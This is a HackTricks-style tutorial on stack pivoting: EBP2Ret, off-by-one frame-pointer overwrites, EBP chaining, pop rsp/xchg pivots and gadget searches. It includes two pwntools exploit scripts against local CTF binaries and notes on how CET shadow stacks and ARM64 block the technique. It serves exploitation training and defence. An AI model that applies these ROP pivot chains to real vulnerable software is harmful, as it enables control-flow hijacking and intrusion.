Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 12 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŚ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
This technique exploits the ability to manipulate the Base Pointer (EBP/RBP) to chain the execution of multiple functions through careful use of the frame pointer and the leave; ret
instruction sequence.
As a reminder, on x86/x86-64 leave
is equivalent to:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.
Notes
- On 64-bit, replace EBPâRBP and ESPâRSP. Semantics are the same.
- Some compilers omit the frame pointer (see âEBP might not be usedâ). In that case,
leave
might not appear and this technique wonât work.
EBP2Ret
This technique is particularly useful when you can alter the saved EBP/RBP but have no direct way to change EIP/RIP. It leverages the function epilogue behavior.
If, during fvuln
's execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop
), you can indirectly control RIP. As the function returns, leave
sets RSP to the crafted location and the subsequent pop rbp
decreases RSP, effectively making it point to an address stored by the attacker there. Then ret
will use that address.
Note how you need to know 2 addresses: the address where ESP/RSP is going to go, and the value stored at that address that ret
will consume.
Exploit Construction
First you need to know an address where you can write arbitrary data/addresses. RSP will point here and consume the first ret
.
Then, you need to choose the address used by ret
that will transfer execution. You could use:
- A valid ONE_GADGET address.
- The address of
system()
followed by the appropriate return and arguments (on x86:ret
target =&system
, then 4 junk bytes, then&"/bin/sh"
). - The address of a
jmp esp;
gadget (ret2esp) followed by inline shellcode. - A ROP chain staged in writable memory.
Remember that before any of these addresses in the controlled area, there must be space for the pop ebp/rbp
from leave
(8B on amd64, 4B on x86). You can abuse these bytes to set a second fake EBP and keep control after the first call returns.
Off-By-One Exploit
There's a variant used when you can only modify the least significant byte of the saved EBP/RBP. In such a case, the memory location storing the address to jump to with ret
must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.
Itâs also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.
EBP Chaining
By placing a controlled address in the saved EBP
slot of the stack and a leave; ret
gadget in EIP/RIP
, it's possible to move ESP/RSP
to an attacker-controlled address.
Now RSP
is controlled and the next instruction is ret
. Place in the controlled memory something like:
&(next fake EBP)
-> Loaded bypop ebp/rbp
fromleave
.&system()
-> Called byret
.&(leave;ret)
-> Aftersystem
ends, moves RSP to the next fake EBP and continues.&("/bin/sh")
-> Argument forsystem
.
This way it's possible to chain several fake EBPs to control the flow of the program.
This is like a ret2lib, but more complex and only useful in edge-cases.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI requires 16-byte stack alignment at call sites. If your chain calls functions like
system
, add an alignment gadget (e.g.,ret
, orsub rsp, 8 ; ret
) before the call to maintain alignment and avoidmovaps
crashes.
EBP might not be used
As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesnât restore from the frame pointer.
- Not optimized / frame pointer used:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimized / frame pointer omitted:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 youâll often see pop rbp ; ret
instead of leave ; ret
, but if the frame pointer is omitted entirely then thereâs no rbp
-based epilogue to pivot through.
Other ways to control RSP
pop rsp
gadget
In this page you can find an example using this technique. For that challenge it was needed to call a function with 2 specific arguments, and there was a pop rsp
gadget and there is a leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Check the ret2esp technique here:
Finding pivot gadgets quickly
Use your favorite gadget finder to search for classic pivot primitives:
leave ; ret
on functions or in librariespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oradd esp, <imm> ; ret
on x86)
Examples:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
A robust pivot strategy used in many CTFs/exploits:
- Use a small initial overflow to call
read
/recv
into a large writable region (e.g.,.bss
, heap, or mapped RW memory) and place a full ROP chain there. - Return into a pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) to move RSP to that region. - Continue with the staged chain (e.g., leak libc, call
mprotect
, thenread
shellcode, then jump to it).
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret
compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret
is executed from a pivoted stack.
- For background and deeper details see:
- Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notes for labs/CTF:
- Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter
nousershstk
, or selectively enabled via glibc tunables during startup (see references). Donât disable mitigations on production targets. - JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks
ret
-based pivots.
- Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter
-
Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode âHardware-enforced Stack Protectionâ built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at
ret
; developers opt-in via CETCOMPAT and related policies (see reference).
ARM64
In ARM64, the prologue and epilogues of the functions don't store and retrieve the SP register in the stack. Moreover, the RET
instruction doesn't return to the address pointed by SP, but to the address inside x30
.
Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30
register.
-
prologue
sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP points to frame record
-
epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret
caution
The way to perform something similar to stack pivoting in ARM64 would be to be able to control the SP
(by controlling some register whose value is passed to SP
or because for some reason SP
is taking its address from the stack and we have an overflow) and then abuse the epilogue to load the x30
register from a controlled SP
and RET
to it.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_array
entries + calling__libc_csu_fini
(more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
- Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack â details on SHSTK,
nousershstk
,/proc/$PID/status
flags, and enabling viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the đŹ Discord group or the telegram group or follow us on Twitter đŚ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.